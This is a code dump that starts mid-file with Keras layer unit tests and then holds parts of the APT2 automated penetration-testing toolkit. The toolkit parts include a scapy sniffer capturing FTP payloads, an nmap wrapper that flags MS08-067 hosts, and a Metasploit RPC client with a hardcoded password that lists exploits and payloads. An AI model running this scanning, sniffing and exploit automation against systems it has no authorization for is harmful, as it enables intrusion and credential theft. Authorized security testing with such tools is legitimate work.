    rand = lambda *shape: np.asarray(np.random.random(shape) > 0.5, dtype='int32')

    # inputs
    input_a = Input(shape=(3,))
    input_b = Input(shape=(3,))

    # masks
    masked_a = Masking(mask_value=0)(input_a)
    masked_b = Masking(mask_value=0)(input_b)

    # three different types of merging
    merged_sum = merge([masked_a, masked_b], mode='sum')
    merged_concat = merge([masked_a, masked_b], mode='concat', concat_axis=1)
    merged_concat_mixed = merge([masked_a, input_b], mode='concat', concat_axis=1)

    # test sum
    model_sum = Model([input_a, input_b], [merged_sum])
    model_sum.compile(loss='mse', optimizer='sgd')
    model_sum.fit([rand(2, 3), rand(2, 3)], [rand(2, 3)], nb_epoch=1)

    # test concatenation
    model_concat = Model([input_a, input_b], [merged_concat])
    model_concat.compile(loss='mse', optimizer='sgd')
    model_concat.fit([rand(2, 3), rand(2, 3)], [rand(2, 6)], nb_epoch=1)

    # test concatenation with masked and non-masked inputs
    model_concat = Model([input_a, input_b], [merged_concat_mixed])
    model_concat.compile(loss='mse', optimizer='sgd')
    model_concat.fit([rand(2, 3), rand(2, 3)], [rand(2, 6)], nb_epoch=1)


@keras_test
def test_merge_mask_3d():
    from keras.layers import Input, merge, Embedding, SimpleRNN
    from keras.models import Model

    rand = lambda *shape: np.asarray(np.random.random(shape) > 0.5, dtype='int32')

    # embeddings
    input_a = Input(shape=(3,), dtype='int32')
    input_b = Input(shape=(3,), dtype='int32')
    embedding = Embedding(3, 4, mask_zero=True)
    embedding_a = embedding(input_a)
    embedding_b = embedding(input_b)

    # rnn
    rnn = SimpleRNN(3, return_sequences=True)
    rnn_a = rnn(embedding_a)
    rnn_b = rnn(embedding_b)

    # concatenation
    merged_concat = merge([rnn_a, rnn_b], mode='concat', concat_axis=-1)
    model = Model([input_a, input_b], [merged_concat])
    model.compile(loss='mse', optimizer='sgd')
    model.fit([rand(2, 3), rand(2, 3)], [rand(2, 3, 6)])


@keras_test
def test_dropout():
    layer_test(core.Dropout,
               kwargs={'p': 0.5},
               input_shape=(3, 2))

    layer_test(core.SpatialDropout2D,
               kwargs={'p': 0.5},
               input_shape=(2, 3, 4, 5))

    layer_test(core.SpatialDropout3D,
               kwargs={'p': 0.5},
               input_shape=(2, 3, 4, 5, 6))


@keras_test
def test_activation():
    # with string argument
    layer_test(core.Activation,
               kwargs={'activation': 'relu'},
               input_shape=(3, 2))

    # with function argument
    layer_test(core.Activation,
               kwargs={'activation': K.relu},
               input_shape=(3, 2))


@keras_test
def test_reshape():
    layer_test(core.Reshape,
               kwargs={'target_shape': (8, 1)},
               input_shape=(3, 2, 4))


@keras_test
def test_permute():
    layer_test(core.Permute,
               kwargs={'dims': (2, 1)},
               input_shape=(3, 2, 4))


@keras_test
def test_flatten():
    layer_test(core.Flatten,
               kwargs={},
               input_shape=(3, 2, 4))


@keras_test
def test_repeat_vector():
    layer_test(core.RepeatVector,
               kwargs={'n': 3},
               input_shape=(3, 2))


@keras_test
def test_lambda():
    from keras.utils.layer_utils import layer_from_config
    Lambda = core.Lambda

    layer_test(Lambda,
               kwargs={'function': lambda x: x + 1},
               input_shape=(3, 2))

    # test serialization with function
    def f(x):
        return x + 1

    ld = Lambda(f)
    config = ld.get_config()
    ld = layer_from_config({'class_name': 'Lambda', 'config': config})

    ld = Lambda(lambda x: K.concatenate([K.square(x), x]),
                output_shape=lambda s: tuple(list(s)[:-1] + [2 * s[-1]]))
    config = ld.get_config()
    ld = Lambda.from_config(config)

    # test serialization with output_shape function
    def f(x):
        return K.concatenate([K.square(x), x])

    def f_shape(s):
        return tuple(list(s)[:-1] + [2 * s[-1]])

    ld = Lambda(f, output_shape=f_shape)
    config = ld.get_config()
    ld = layer_from_config({'class_name': 'Lambda', 'config': config})


@keras_test
def test_dense():
    from keras import regularizers
    from keras import constraints

    layer_test(core.Dense,
               kwargs={'output_dim': 3},
               input_shape=(3, 2))

    layer_test(core.Dense,
               kwargs={'output_dim': 3,
                       'W_regularizer': regularizers.l2(0.01),
                       'b_regularizer': regularizers.l1(0.01),
                       'activity_regularizer': regularizers.activity_l2(0.01),
                       'W_constraint': constraints.MaxNorm(1),
                       'b_constraint': constraints.MaxNorm(1)},
               input_shape=(3, 2))


@keras_test
def test_activity_regularization():
    from keras.engine import Input, Model

    layer = core.ActivityRegularization(l1=0.01, l2=0.01)

    # test in functional API
    x = Input(shape=(3,))
    z = core.Dense(2)(x)
    y = layer(z)
    model = Model(input=x, output=y)
    model.compile('rmsprop', 'mse', mode='FAST_COMPILE')

    model.predict(np.random.random((2, 3)))

    # test serialization
    model_config = model.get_config()
    model = Model.from_config(model_config)
    model.compile('rmsprop', 'mse')


@keras_test
def test_maxout_dense():
    from keras import regularizers
    from keras import constraints

    layer_test(core.MaxoutDense,
               kwargs={'output_dim': 3},
               input_shape=(3, 2))

    layer_test(core.MaxoutDense,
               kwargs={'output_dim': 3,
                       'W_regularizer': regularizers.l2(0.01),
                       'b_regularizer': regularizers.l1(0.01),
                       'activity_regularizer': regularizers.activity_l2(0.01),
                       'W_constraint': constraints.MaxNorm(1),
                       'b_constraint': constraints.MaxNorm(1)},
               input_shape=(3, 2))


@keras_test
def test_highway():
    from keras import regularizers
    from keras import constraints

    layer_test(core.Highway,
               kwargs={},
               input_shape=(3, 2))

    layer_test(core.Highway,
               kwargs={'W_regularizer': regularizers.l2(0.01),
                       'b_regularizer': regularizers.l1(0.01),
                       'activity_regularizer': regularizers.activity_l2(0.01),
                       'W_constraint': constraints.MaxNorm(1),
                       'b_constraint': constraints.MaxNorm(1)},
               input_shape=(3, 2))


@keras_test
def test_timedistributeddense():
    from keras import regularizers
    from keras import constraints

    layer_test(core.TimeDistributedDense,
               kwargs={'output_dim': 2, 'input_length': 2},
               input_shape=(3, 2, 3))

    layer_test(core.TimeDistributedDense,
               kwargs={'output_dim': 3,
                       'W_regularizer': regularizers.l2(0.01),
                       'b_regularizer': regularizers.l1(0.01),
                       'activity_regularizer': regularizers.activity_l2(0.01),
                       'W_constraint': constraints.MaxNorm(1),
                       'b_constraint': constraints.MaxNorm(1)},
               input_shape=(3, 2, 3))


if __name__ == '__main__':
    pytest.main([__file__])






import pytest
from keras.utils.test_utils import layer_test, keras_test


@keras_test
def test_leaky_relu():
    from keras.layers.advanced_activations import LeakyReLU
    for alpha in [0., .5, -1.]:
        layer_test(LeakyReLU, kwargs={'alpha': alpha},
                   input_shape=(2, 3, 4))


@keras_test
def test_prelu():
    from keras.layers.advanced_activations import PReLU
    layer_test(PReLU, kwargs={},
               input_shape=(2, 3, 4))


@keras_test
def test_elu():
    from keras.layers.advanced_activations import ELU
    for alpha in [0., .5, -1.]:
        layer_test(ELU, kwargs={'alpha': alpha},
                   input_shape=(2, 3, 4))


@keras_test
def test_parametric_softplus():
    from keras.layers.advanced_activations import ParametricSoftplus
    for alpha in [0., .5, -1.]:
        layer_test(ParametricSoftplus,
                   kwargs={'alpha_init': 1.,
                           'beta_init': -1},
                   input_shape=(2, 3, 4))


@keras_test
def test_thresholded_relu():
    from keras.layers.advanced_activations import ThresholdedReLU
    layer_test(ThresholdedReLU, kwargs={'theta': 0.5},
               input_shape=(2, 3, 4))


@keras_test
def test_srelu():
    from keras.layers.advanced_activations import SReLU
    layer_test(SReLU, kwargs={},
               input_shape=(2, 3, 4))


if __name__ == '__main__':
    pytest.main([__file__])






#!/usr/bin/env python
"""
Standard Launcher for the SKIDY Framework
"""

import sys
import traceback

# from core.framework import Framework
# from core.utils import Utils
from core.framework import Framework

if __name__ == "__main__":
    framework = Framework()
    try:
        framework.run(sys.argv[1:])
    except KeyboardInterrupt:
        framework.ctrlc()
    except Exception as e:
        exc_type, exc_value, exc_traceback = sys.exc_info()
        print "*** print_tb:"
        traceback.print_tb(exc_traceback, limit=1, file=sys.stdout)
        print
        print
        print "*** print_exception:"
        traceback.print_exception(exc_type, exc_value, exc_traceback,
                                  limit=2, file=sys.stdout)
        print
        print
        print "*** print_exc:"
        traceback.print_exc()
        # print
        # print
        # print "*** format_exc, first and last line:"
        # formatted_lines = traceback.format_exc().splitlines()
        # print formatted_lines[0]
        # print formatted_lines[-1]
        # print
        # print
        # print "*** format_exception:"
        # print repr(traceback.format_exception(exc_type, exc_value,
        #                                  exc_traceback))
        # print
        # print
        # print "*** extract_tb:"
        # print repr(traceback.extract_tb(exc_traceback))
        # print
        # print
        # print "*** format_tb:"
        # print repr(traceback.format_tb(exc_traceback))
        # print
        # print
        # print "*** tb_lineno:", exc_traceback.tb_lineno
        # print sys.exc_info()[0]
        # framework.cleanup()












from multiprocessing.pool import ThreadPool
from scapy.all import *


class pktcap():
    def capture(self, filter="", timeout=60, count=1, srcip="", dstip=""):
        results = "Packet Capture  of (%s -> %s) filter (%s)\n\n" % (srcip, dstip, filter)
        pkts = sniff(filter=filter, timeout=timeout, count=count)
        for pkt in pkts:
            ip_src = ""
            ip_dst = ""
            tcp_sport = 0
            tcp_dport = 0
            tcp_payload = ""
            if IP in pkt:
                ip_src = str(pkt[IP].src)
                ip_dst = str(pkt[IP].dst)
            if TCP in pkt:
                tcp_sport = int(pkt[TCP].sport)
                tcp_dport = int(pkt[TCP].dport)
                tcp_payload = str(pkt[TCP].payload)

            if (tcp_payload.strip() == ""):
                continue

            if (srcip == "") and (dstip == ""):
                results += ">><< %s\n" % (tcp_payload)
            elif (srcip == ""):
                if (ip_dst == dstip):
                    results += ">>>> %s\n" % (tcp_payload)
                else:
                    results += "<<<< %s\n" % (tcp_payload)
            else:
                if (ip_src == srcip):
                    results += ">>>> %s\n" % (tcp_payload)
                else:
                    results += "<<<< %s\n" % (tcp_payload)

        return results


# -----------------------------------------------------------------------------
# main test code
# -----------------------------------------------------------------------------
if __name__ == "__main__":
    filter = "(host 192.168.1.8 or host 192.168.124) and tcp and port 21"
    pktcount = 20
    pkttimeout = 50
    srcip = "192.168.1.124"
    dstip = "192.168.1.8"

    pool = ThreadPool(processes=1)

    p = pktcap()

    #    print p.capture(filter=filter, timeout=pkttimeout, count=pktcount, srcip=srcip, dstip=dstip)
    # tuple of args for foo, please note a "," at the end of the arguments
    async_result = pool.apply_async(p.capture, (filter, pkttimeout, pktcount, srcip, dstip,))

    # Do some other stuff in the main process
    print "hi"

    print async_result.get()






import Queue
import time
from threading import Thread


class ActiveThreadListItem():
    def __init__(self, thread, name):
        self.thread = thread
        self.name = name

    def getThread(self):
        return self.thread

    def getName(self):
        return self.name


class EventObject():
    def __init__(self, _instance, vector, event):
        self._instance = _instance
        self.vector = vector
        self.event = event

    def get_event(self):
        return self.event

    def get_name(self):
        return self._instance.getShortName()

    def get_instance(self):
        return self._instance

    def get_vector(self):
        return self.vector


class EventQueue():
    eventQueue = Queue.Queue()

    @staticmethod
    def pop():
        return EventQueue.eventQueue.get()

    @staticmethod
    def push(evtobj):
        EventQueue.eventQueue.put(evtobj)
        return

    @staticmethod
    def empty():
        return EventQueue.eventQueue.empty()


class EventHandler(object):
    eventList = {}
    nameList = list()
    my_threads = list()
    ActiveThreadCountThread = False

    @staticmethod
    def add(_instance, event):
        if (event in EventHandler.eventList):
            EventHandler.eventList[event].append(_instance)
        else:
            EventHandler.eventList[event] = [_instance]

    @staticmethod
    def remove(_instance, event):
        if (event in EventHandler.eventList):
            EventHandler.eventList[event].remove(_instance)

    @staticmethod
    def fire(event):
        parts = event.split(":")
        event = parts[0]
        vector = ""
        if (len(parts) == 2):
            vector = parts[1]

        # make sure this event/vector pair is not already in the queue
        if not (event + ":" + vector) in EventHandler.nameList:
            if (event in EventHandler.eventList):
                for _instance in EventHandler.eventList[event]:
                    EventQueue.push(EventObject(_instance, vector, event))
                    EventHandler.nameList.append(event + ":" + vector)

    @staticmethod
    def numActiveThreads(name):
        num = 0
        for t in EventHandler.my_threads:
            if t.getName() == name:
                num = num + 1
        return num

    @staticmethod
    def colapsethreads():
        tmp_threads = list()
        for t in EventHandler.my_threads:
            if t.getThread().isAlive():
                tmp_threads.append(t)
        EventHandler.my_threads = tmp_threads

    @staticmethod
    def finished():
        EventHandler.colapsethreads()
        if (EventQueue.empty() and (len(EventHandler.my_threads) == 0)):
            return True
        return False

    @staticmethod
    def kill_thread_count_thread():
        EventHandler.ActiveThreadCountThread = False

    @staticmethod
    def print_thread_count(display, delay=5):
        EventHandler.ActiveThreadCountThread = True
        while (EventHandler.ActiveThreadCountThread):
            while (EventHandler.ActiveThreadCountThread and len(EventHandler.my_threads) == 0):
                time.sleep(delay)
            display.alert("Current # of Active Threads = [%i]" % len(EventHandler.my_threads))
            tmp_list = ""
            for t in EventHandler.my_threads:
                tmp_list = tmp_list + ", " + t.getName()
            display.debug("     " + tmp_list)
            time.sleep(delay)

    @staticmethod
    def processNext(display, max_threads):

        # wait for a thread to free up
        while (len(EventHandler.my_threads) >= max_threads):
            EventHandler.colapsethreads()

        # make sure there are events to process
        if not EventQueue.empty():
            evtobj = EventQueue.pop()
            _instance = evtobj.get_instance()
            vector = evtobj.get_vector()
            event = evtobj.get_event()

            EventHandler.nameList.remove(event + ":" + vector)

            # check to see if the target module is at maxThreads and if so, add it back to the queue

            if _instance and (
                        EventHandler.numActiveThreads(_instance.getShortName()) >= int(_instance.getMaxThreads())):
                EventHandler.fire(event + ":" + vector)
            else:
                display.verbose("Launching [%s] Vector [%s]" % (_instance.getTitle(), vector))
                if _instance:
                    thread = Thread(target=_instance.go, args=(vector,))
                    thread.setDaemon(True)
                    thread.start()
                    EventHandler.my_threads.append(ActiveThreadListItem(thread, _instance.getShortName()))
                    # _instance.go(vector)






from threading import Thread
import sys
import select

# ----------------------------
# KeyEventThread CLASS
# ----------------------------
class KeyEventThread(Thread):
    def __init__(self, pDisplay):
        Thread.__init__(self)
        self.end = False
        self.paused = False
        self.display = pDisplay

    def run(self):
        self.display.alert("Use the following controls while scans are running:")
        self.display.alert("- p - pause/resume event queueing")
        #detect key presses
        while not self.end:
            #run until end is True
            # TODO - This is Linux only, need to find fallback for windows, maybe msvctl.getch
            i, o, e = select.select( [sys.stdin], [], [], 1 )
            if i:
                ch = sys.stdin.read(1)
                if ch == 'p':
                    if self.paused:
                        self.display.alert("Queue is unpaused, progress will resume")
                        self.paused = False
                    else:
                        self.display.alert("Queue is paused, new events will not be loaded but current threads will continue")
                        self.paused = True

    def stop(self):
        self.end = True

    def isPaused(self):
        return self.paused





from core.events import EventHandler


class inputModule(object):
    def __init__(self, config, display, lock):
        self.display = display
        self.config = config
        self.title = ""
        self.requirements = []
        self.description = ""
        self.type = ""
        self.lock = lock

    def getType(self):
        return self.type

    def getTitle(self):
        return self.title

    def getDescription(self):
        return self.description

    def getRequirements(self):
        return self.requirements

    def process(self):
        return

    def go(self, inputfile):
        self.display.verbose("-> Running : " + self.getTitle())
        return self.process(inputfile)

    def fire(self, trigger):
        EventHandler.fire(trigger)






import sys
try:
    import nmap
except:
    sys.exit("[!] Install the nmap library: pip install python-nmap")

from core.events import EventHandler
from core.keystore import KeyStore as kb
from core.utils import Utils


class mynmap():
    def __init__(self, config, display):
        self.config = config
        self.display = display
        if not config:
            self.config = {}
        self.outfile = ""
        self.nm = nmap.PortScanner()

    def run(self, target="127.0.0.1", ports="1-1024", flags="-sS", vector="", filetag=""):
        # get tmp file
        proofsDir = ""
        if "proofsDir" in self.config.keys():
            proofsDir = self.config["proofsDir"]
        self.outfile = proofsDir + "NMAP-" + filetag + "-" + Utils.getRandStr(10)

        command = "nmap " + flags + " -p " + ports + " -oA " + self.outfile + " " + target
        tmp_results = Utils.execWait(command)
        self.display.output("Scan file saved to [%s]" % self.outfile)

        return self.loadXMLFile(self.outfile + ".xml", "nmapFile")

    def loadXMLFile(self, file, vector=""):
        results = dict()
        with open(file, "r") as fd:
            content = fd.read()
            results = self.nm.analyse_nmap_xml_scan(content)
            self.processIPs(vector)
        return results

    def getOutfile(self):
        return self.outFile

    def getIPs(self):
        return []

    def getPorts(self, host):
        return []

    def getResults(self):
        return []

    def processIPs(self, vector):
        for host in self.nm.all_hosts():
            good = False
            for proto in self.nm[host].all_protocols():
                if (good):
                    break
                lport = list(self.nm[host][proto].keys())
                lport.sort()
                for port in lport:
                    if (good):
                        break
                    if (self.nm[host][proto][port]["state"] == "open"):
                        good = True

            if (good):
                kb.add('host/' + host)
                # fire new event for "newHost"
                EventHandler.fire("newIP" + ":" + vector)

                # process ports
                self.processPorts(host, vector)

                # process hostscripts
                if ("hostscript" in self.nm[host]):
                    self.processHostScripts(host, vector)
        return

    def processPorts(self, host, vector):
        for proto in self.nm[host].all_protocols():
            lport = list(self.nm[host][proto].keys())
            lport.sort()
            for port in lport:
                if (self.nm[host][proto][port]["state"] == "open"):
                    # fire event for "newPortXXX"
                    kb.add('host/' + host + '/' + proto + 'port/' + str(port))
                    # print  'host/' + host + '/' + proto + 'port/' + str(port)
                    EventHandler.fire("newPort" + str(port) + ":" + vector)

                    # process services and info
                    self.processService(host, port, proto, vector)
        return

    def processService(self, host, port, proto, vector):
        product = self.nm[host][proto][port]["product"]
        version = self.nm[host][proto][port]["version"]
        name = self.nm[host][proto][port]["name"]

        kb.add('service/' + name + '/host/' + host + '/' + proto + 'port/' + str(
            port) + '/product' + product + '/version/' + str(version))
        # print  'service/' + name + '/host/' + host + '/' + proto + 'port/' + str(port) + '/product' + product +
        # '/version/' + str(version)
        EventHandler.fire("newService" + str(name) + ":" + vector)
        if ("script" in self.nm[host][proto][port]):
            self.processScript(host, port, proto, vector)
        return

    def addVuln(self, host, vuln, vector, details={}):
        kb.add("host/" + host + "/vuln/" + vuln + "/module/Nmap")
        kb.add("host/" + host + "/vuln/" + vuln + "/vector/" + vector)
        for key in details:
            kb.add("host/" + host + "/vuln/" + vuln + "/" + key + "/" + details[key])

    def processScript(self, host, port, proto, vector):
        for script_id in self.nm[host][proto][port]["script"]:
            script_value = self.nm[host][proto][port]["script"][script_id]
            # if (script_id == "vnc-brute") and (script_value == "No authentication required"):
            #     EventHandler.fire(script_id + ":" + vector)
            #     self.addVuln(host, "VNCNoAuth", vector, {"port" : str(port), "message": script_value})
            #     self.display.error("VULN [%s] Found on [%s]" % (script_id, host))
        return

    def fireScriptVulnEvent(self, script_id, host, vector):
        # fire a new trigger
        EventHandler.fire(script_id + ":" + vector)
        kb.add('host/' + host + '/vuln/' + script_id)
        self.display.error("VULN [%s] Found on [%s]" % (script_id, host))

    def processHostScripts(self, host, vector):
        for script in self.nm[host]["hostscript"]:
            script_id = script["id"]
            output = script["output"]
            if script_id == "smb-vuln-ms08-067":
                script_id = "ms08-067"
                if "State: VULNERABLE" in output:
                    self.fireScriptVulnEvent(script_id, host, vector)
            # elif script_id == "smb-security-mode":
            #     if "message_signing: disabled" in output:
            #         self.fireScriptVulnEvent(script_id, host, vector)

    def out(self):
        return self.nm.get_nmap_last_output()






#!/usr/bin/env python
# MSF-RPC - A  Python library to facilitate MSG-RPC communication with Metasploit
# Ryan Linn  - RLinn@trustwave.com
# Copyright (C) 2011 Trustwave
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
# License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any
# later version.

# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

# You should have received a copy of the GNU General Public License along with this program. If not,
# see <http://www.gnu.org/licenses/>.

import httplib
import msgpack


class Msfrpc:
    class MsfError(Exception):
        def __init__(self, msg):
            self.msg = msg

        def __str__(self):
            return repr(self.msg)

    class MsfAuthError(MsfError):
        def __init__(self, msg):
            self.msg = msg

    def __init__(self, opts=[]):
        self.host = opts.get('host') or "127.0.0.1"
        self.port = opts.get('port') or 55552
        self.uri = opts.get('uri') or "/api/"
        self.ssl = opts.get('ssl') or False
        self.authenticated = False
        self.token = False
        self.headers = {"Content-type": "binary/message-pack"}
        if self.ssl:
            self.client = httplib.HTTPSConnection(self.host, self.port)
        else:
            self.client = httplib.HTTPConnection(self.host, self.port)

    def encode(self, data):
        return msgpack.packb(data)

    def decode(self, data):
        return msgpack.unpackb(data)

    def call(self, meth, opts=[]):
        if meth != "auth.login":
            if not self.authenticated:
                raise self.MsfAuthError("MsfRPC: Not Authenticated")

        if meth != "auth.login":
            opts.insert(0, self.token)

        opts.insert(0, meth)
        params = self.encode(opts)
        self.client.request("POST", self.uri, params, self.headers)
        resp = self.client.getresponse()
        return self.decode(resp.read())

    def login(self, user, password):
        ret = self.call('auth.login', [user, password])
        if ret.get('result') == 'success':
            self.authenticated = True
            self.token = ret.get('token')
            return True
        else:
            raise self.MsfAuthError("MsfRPC: Authentication failed")


if __name__ == '__main__':

    # Create a new instance of the Msfrpc client with the default options
    client = Msfrpc({})

    # Login to the msfmsg server using the password "abc123"
    client.login('msf', 'abc123')

    # Get a list of the exploits from the server
    mod = client.call('module.exploits')

    # Grab the first item from the modules value of the returned dict
    print "Compatible payloads for : %s\n" % mod['modules'][0]

    # Get the list of compatible payloads for the first option
    ret = client.call('module.compatible_payloads', [mod['modules'][0]])
    for i in (ret.get('payloads')):
        print "\t%s" % i






from core.events import EventHandler


class reportModule(object):
    def __init__(self, config, display, lock):
        self.display = display
        self.config = config
        self.title = ""
        self.requirements = []
        self.description = ""
        self.type = ""
        self.lock = lock

    def getType(self):
        return self.type

    def getTitle(self):
        return self.title

    def getDescription(self):
        return self.description

    def getRequirements(self):
        return self.requirements

    def process(self):
        return

    def fire(self, trigger):
        EventHandler.fire(trigger)












import argparse
import imp
import os
import re
import sys

# import our libs
from utils import Utils, Display
from keystore import KeyStore as kb
from events import EventHandler
from mynmap import mynmap
from mymsf import myMsf
from threading import RLock, Thread
from keyeventthread import KeyEventThread


class Framework():
    def __init__(self):
        self.display = Display()
        self.modulelock = RLock()

        self.inputModules = {}
        self.actionModules = {}
        self.reportModules = {}

        self.progName = "APT2"
        self.version = "error"
        self.isRunning = True  # Conditional to check if user wants to quit

        self.inputs = {}

        self.config = {}

        self.config["outDir"] = os.getcwd() + "/"
        self.config["reportDir"] = ""
        self.config["logDir"] = ""
        self.config["proofsDir"] = ""
        self.config["tmpDir"] = ""
        self.config["miscDir"] = ""
        self.config['lhost'] = Utils.getIP()

        self.setupDirs()

        # initialize some config options
        self.config["config_filename"] = ""

        # default all bool values to False
        self.config["verbose"] = False
        self.config["always_yes"] = False
        self.config["list_modules"] = False

        self.config["scan_target"] = None
        self.config["scan_target_list"] = None

        self.config["safe_level"] = 4

        # make temp file for the KB save file
        self.kbSaveFile = self.config["proofsDir"] + "KB-" + Utils.getRandStr(10) + ".save"

        self.threadcount_thread = None
        self.keyevent_thread = None

        self.allFinished = False

    # ==================================================
    # SUPPORT METHODS
    # ==================================================

    # ----------------------------
    # Setup Directories
    # ----------------------------
    def setupDirs(self):
        # make directories
        if not os.path.isdir(self.config["outDir"] + "reports/"):
            os.makedirs(self.config["outDir"] + "reports/")
        self.config["reportDir"] = self.config["outDir"] + "reports/"

        if not os.path.isdir(self.config["outDir"] + "logs/"):
            os.makedirs(self.config["outDir"] + "logs/")
        self.config["logDir"] = self.config["outDir"] + "logs/"
        self.display.setLogPath(self.config["logDir"])

        if not os.path.isdir(self.config["outDir"] + "proofs/"):
            os.makedirs(self.config["outDir"] + "proofs/")
        self.config["proofsDir"] = self.config["outDir"] + "proofs/"

        if not os.path.isdir(self.config["outDir"] + "tmp/"):
            os.makedirs(self.config["outDir"] + "tmp/")
        self.config["tmpDir"] = self.config["outDir"] + "tmp/"

        if not os.path.isdir(self.config["outDir"] + "misc/"):
            os.makedirs(self.config["outDir"] + "misc/")
        self.config["miscDir"] = self.config["outDir"] + "misc/"

    # ----------------------------
    # Check the current Version
    # ----------------------------
    def versionCheck(self):
        try:
            pattern = "'(\d+\.\d+\.\d+[^']*)'"
            # Get the VERSION that exists on Github
            # emote = re.search(pattern, self.request(
            # 'https://raw.githubusercontent.com/tatanus/automated_pentest/master/VERSION').raw).group(1)
            remote = re.search(pattern, open('VERSION_remote').read()).group(1)
            # Get the version that is local
            local = re.search(pattern, open('VERSION').read()).group(1)
            self.version = local
            if remote != local:
                self.display.alert('Your version of %s does not match the latest release.' % self.progName)
                self.display.alert('Please update or use the \'--no-check\' switch to continue using the old version.')
                if remote.split('.')[0] != local.split('.')[0]:
                    self.display.alert('Read the migration notes for pre-requisites before upgrading.')
                self.display.output('Remote version:  %s' % (remote))
                self.display.output('Local version:   %s' % (local))
                self.cleanup()
        except:
            self.cleanup()

    # ----------------------------
    # CTRL-C display and exit
    # ----------------------------
    def ctrlc(self):
        self.display.alert("Ctrl-C caught!!!")

        self.cleanup()

    # ----------------------------
    # Close everything down nicely
    # ----------------------------
    def cleanup(self):
        #kill key press thread if it has been set up
        if self.keyevent_thread:
            self.keyevent_thread.stop()

        # kill thread count thread
        EventHandler.kill_thread_count_thread()

        # fix prompt
        os.system("stty echo")

        # exit
        sys.exit(0)

    # ----------------------------
    # Display the Banner
    # ----------------------------
    def displayBanner(self):
        self.display.output()
        self.display.output("      dM.    `MMMMMMMb. MMMMMMMMMM      ")
        self.display.output("     ,MMb     MM    `Mb /   MM   \      ")
        self.display.output("     d'YM.    MM     MM     MM   ____   ")
        self.display.output("    ,P `Mb    MM     MM     MM  6MMMMb  ")
        self.display.output("    d'  YM.   MM    .M9     MM MM'  `Mb ")
        self.display.output("   ,P   `Mb   MMMMMMM9'     MM      ,MM ")
        self.display.output("   d'    YM.  MM            MM     ,MM' ")
        self.display.output("  ,MMMMMMMMb  MM            MM   ,M'    ")
        self.display.output("  d'      YM. MM            MM ,M'      ")
        self.display.output("_dM_     _dMM_MM_          _MM_MMMMMMMM ")
        self.display.output()
        self.display.output()
        self.display.output("An Automated Penetration Testing Toolkit")
        self.display.output("Written by: Adam Compton & Austin Lane")
        self.display.output("Verion: %s" % self.version)

    # ----------------------------
    # Parse CommandLine Parms
    # ----------------------------
    def parseParameters(self, argv):
        parser = argparse.ArgumentParser()

        # ==================================================
        # Input Files
        # ==================================================
        filesgroup = parser.add_argument_group('inputs')
        filesgroup.add_argument("-C",
                                metavar="<config.txt>",
                                dest="config_file",
                                action='store',
                                help="config file")
        filesgroup.add_argument("-f",
                                metavar="<input file>",
                                dest="inputs",
                                default=[],
                                action='store',
                                help="one of more input files seperated by spaces",
                                nargs='*')
        filesgroup.add_argument("--target",
                                metavar="",
                                dest="scan_target",
                                action='store',
                                help="initial scan target(s)")

        # ==================================================
        # Advanced Flags
        # ==================================================
        advgroup = parser.add_argument_group('advanced')
        advgroup.add_argument("--ip",
                              metavar="<local IP>",
                              dest="lhost",
                              default=Utils.getIP(),
                              action='store',
                              help="defaults to %s" % Utils.getIP())

        # ==================================================
        # Optional Args
        # ==================================================
        parser.add_argument("-v", "--verbosity",
                            dest="verbose",
                            action='count',
                            help="increase output verbosity")
        parser.add_argument("-s", "--safelevel",
                            dest="safe_level",
                            action='store',
                            default=4,
                            help="set min safe level for modules. 0 is unsafe and 5 is very safe. Default is 4")
        parser.add_argument("-b", "--bypassmenu",
                            dest="bypass_menu",
                            action='store_true',
                            help="bypass menu and run from command line arguments")
        # ==================================================
        # Misc Flags
        # ==================================================
        miscgroup = parser.add_argument_group('misc')
        miscgroup.add_argument("--listmodules",
                               dest="list_modules",
                               action='store_true',
                               help="list out all current modules and exit")

        # parse args
        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["config_filename"] = args.config_file
        self.config["verbose"] = args.verbose
        self.config["list_modules"] = args.list_modules
        self.config["scan_target"] = args.scan_target
        self.config["safe_level"] = int(args.safe_level)
        self.config['lhost'] = args.lhost
        self.config["bypass_menu"] = args.bypass_menu
        for f in args.inputs:
            type = self.idFileType(f)
            if (type):
                if type in self.inputs:
                    self.inputs[type].append(f)
                else:
                    self.inputs[type] = [f]

    # ----------------------------
    # Load config setting from the config file
    # ----------------------------
    def loadConfig(self):
        # does config file exist?
        if (("config_filename" in self.config) and (self.config["config_filename"] is not None)):
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            # guess not..   so try to load the default one
            if Utils.isReadable("default.cfg"):
                self.display.verbose("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                temp1 = self.config
                temp2 = Utils.loadConfig("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                # someone must have removed it!
                self.display.error("a CONFIG FILE was not specified...")
                self.cleanup()

        # set verbosity/debug level
        if ("verbose" in self.config):
            if (self.config['verbose'] >= 1):
                self.display.enableVerbose()
            if (self.config['verbose'] > 1):
                self.display.enableDebug()

    # ----------------------------
    # Load Initial Events
    # ----------------------------
    def populateInitEvents(self):
        EventHandler.fire("always:initial")

    # ----------------------------
    # look for and load and modules (input/action)
    # ----------------------------
    def loadModules(self):
        module_dict = {}
        # crawl the module directory and build the module tree
        # process inputs
        path = os.path.join(sys.path[0], 'modules/input')
        for dirpath, dirnames, filenames in os.walk(path):
            # remove hidden files and directories
            filenames = [f for f in filenames if not f[0] == '.']
            dirnames[:] = [d for d in dirnames if not d[0] == '.']
            if len(filenames) > 0:
                for filename in [f for f in filenames if (f.endswith('.py') and not f == "__init__.py")]:
                    module = self.loadModule("input", dirpath, filename)
                    if module is not None:
                        module_dict[module['name'].rstrip(" ")] = module
        # process actions
        path = os.path.join(sys.path[0], 'modules/action')
        for dirpath, dirnames, filenames in os.walk(path):
            # remove hidden files and directories
            filenames = [f for f in filenames if not f[0] == '.']
            dirnames[:] = [d for d in dirnames if not d[0] == '.']
            if len(filenames) > 0:
                for filename in [f for f in filenames if (f.endswith('.py') and not f == "__init__.py")]:
                    module = self.loadModule("action", dirpath, filename)
                    if module is not None:
                        module_dict[module['name'].rstrip(" ")] = module
        # process reports
        path = os.path.join(sys.path[0], 'modules/report')
        for dirpath, dirnames, filenames in os.walk(path):
